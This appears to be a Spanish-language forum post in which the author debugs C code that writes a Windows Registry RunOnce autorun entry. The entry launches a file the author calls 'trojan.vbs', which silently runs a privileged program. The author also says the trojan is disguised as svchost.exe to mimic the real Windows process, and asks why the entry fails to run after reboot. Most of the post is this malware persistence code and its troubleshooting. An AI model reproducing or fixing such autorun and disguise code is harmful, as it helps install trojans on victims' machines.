Vaya lo he estado leyendo hasta ahora, y la verdad la única diferencia que veo es que tu clave al final tiene "RunOnce" y la mia "Run", no se si será eso, pero es la primera diferencia de la que me percaté, lo pruebo y te comento.
De todas formas, es una cosa rara mi caso, ya que yo anclo al inicop un .vbs que me ejecutará en silencio el programa que tiene provilegios. Probando...
Edito: Vaya parece que no me funcionó, probé con esto:
int regKey,regOpen;
char *path="C:\\Windows\\directorio\\trojan.vbs";
HKEY hkey;
regOpen=RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce",&hkey);
if(regOpen==1)
{
printf("La clave ya esta creada\n");system
("pause"); }
else
{
regKey=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce",&hkey);
if(regKey==0)
{
RegSetValueEx
((HKEY
)hkey
,"AutoRunVBS",0,REG_SZ
,(BYTE
*)path
,strlen(path
)); printf("Hemos creado la clave"); }
else
{
printf("No se pudo crear la clave en el registro\n"); }
}
Me dice que ha creado la clave reinició pero no se ejecuta el programa, no se que puede ser, según ví tu clave era igual que la mía entonces no entiendo por qué. Además los archivos siguen con necesitando el permiso del administrador para usarse TODOS, no solo el .exe me pregunto porqué será quizás sea porque están dentro del directorio de windows o no sé.
Destacar que el troyano se llama svchost.exe quizás influya ya que hay otro con el mismo nombre, pero no creo que sea ese el problema.
También he probado con esto:
HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
Y me dice que no se pudo crear clave en el registro, vaya
Saludos